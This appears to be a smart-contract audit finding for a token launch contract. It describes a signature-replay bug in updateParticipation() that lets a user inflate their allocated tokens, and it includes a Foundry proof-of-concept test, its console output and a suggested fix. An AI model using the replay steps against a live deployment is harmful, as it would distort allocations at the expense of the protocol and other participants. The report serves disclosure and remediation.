Fun Tiger Troll

Medium

# Launch.updateParticipation() can be replayed to get more allocated tokens than expected

### Summary

Launch.updateParticipation() can be replayed to get more allocated tokens than expected (`_userTokensByLaunchGroup`)

### Root Cause

Users can call `Launch.updateParticipation()` to update their previous participation with a new one, getting adjusted their allocated launchTokens and paying additional or getting refunded currencyTokens. However, the system does not check whether a participation that was signed in the backed to be updated, has really been updated on chain. This allows a user to replay an updateParticipation call to get more allocated launchTokens than expected as after first update the previous Participation's tokenAmount and currencyAmount is set to 0; making the following update calls increase `_userTokensByLaunchGroup` because of the way the function is designed (the function compares the tokenAmount and currencyAmount of new participation with the previous participation, which is set to 0 as explcained).

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312C5-L397

### Internal Pre-conditions

1. LaunchGroup with `finalizesAtParticipation` = false is set.
2. Alice makes a participation succesfully.

### External Pre-conditions

No required external pre conditions

### Attack Path

1. Alice gets signed offchain an updateRequest by a SIGNER.
2. Alice call updateParticipation() with the signed parameters. After this the original participation's tokenAmount and currencyAmount are set to 0.
3. As there is no mechanism that prevents from calling updateParticipation(), Alice can repeat it multiple times to get allocated more tokens until she reached the maximum allocation level.

### Impact

Any user that gets an updateRequest signed can repeat it multiple times to get more tokens allocated than expected. Even if they will have to pay the corresponding currencyAmount, this breaks the protocol behaviour as total allocated launchTokens will increase drastically in an artifical way.

### PoC

In LaunchTestBase.sol I updated tokenAmount in _createParticipationRequest():

```solidity
function _createParticipationRequest() internal view returns (ParticipationRequest memory) {
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 600 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
```

Now add in LaunchUpdateParticipationTest the following unitary test:

```solidity
function test_UpdateParticipationRepeated() public {
        // Prepare update participation request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(600);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        uint256 updatedCurrencyAmount =
            _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        currency.approve(address(launch), type(uint256).max);

        // Update participation
        uint allocatedTokensBeforeUpdate = launch.getUserTokensByLaunchGroup(updateRequest.launchGroupId, testUserId);
        console.log("Tokens allocated for user before first updateParticipation is ", allocatedTokensBeforeUpdate);
        launch.updateParticipation(updateRequest, updateSignature);
        uint allocatedTokensAfterFirstUpdate = launch.getUserTokensByLaunchGroup(updateRequest.launchGroupId, testUserId);
        console.log("Tokens allocated for user after first updateParticipation is ", allocatedTokensAfterFirstUpdate);
        launch.updateParticipation(updateRequest, updateSignature);
        launch.updateParticipation(updateRequest, updateSignature);
        uint allocatedTokensAfterAllUpdates = launch.getUserTokensByLaunchGroup(updateRequest.launchGroupId, testUserId);
        console.log("Tokens allocated for user after all updateParticipations is ", allocatedTokensAfterAllUpdates);
    }
```
This is returned by console, in this case after first update nothing changes because it is equal to the original participation.

  Tokens allocated for user before first updateParticipation is  600000000000000000000
  Tokens allocated for user after first updateParticipation is  600000000000000000000
  Tokens allocated for user after all updateParticipations is  1800000000000000000000


### Mitigation

Prevent updateParticipation from being replayed with the same previous and new participations. This can be done cheking the ids of participations or reverting if previous participation has currencyAmount and tokenAmount = 0, as these are the set values when first update happens:

```solidity
function updateParticipation(UpdateParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        // Validate launch group is open for participation
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];
        _validateTimestamp(settings);
        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);
        // Validate payment currency is enabled for launch group
        uint256 tokenPriceBps = _validateCurrency(request.launchGroupId, request.currency);

        ParticipationInfo storage prevInfo = launchGroupParticipations[request.prevLaunchParticipationId];
        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation || prevInfo.isFinalized) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.prevLaunchParticipationId);
        }

+     if (prevInfo.tokenAmount == 0 && prevInfo.currencyAmount == 0) revert();
.
.
.
prevInfo.currencyAmount = 0;
prevInfo.tokenAmount = 0;
.
.
.
```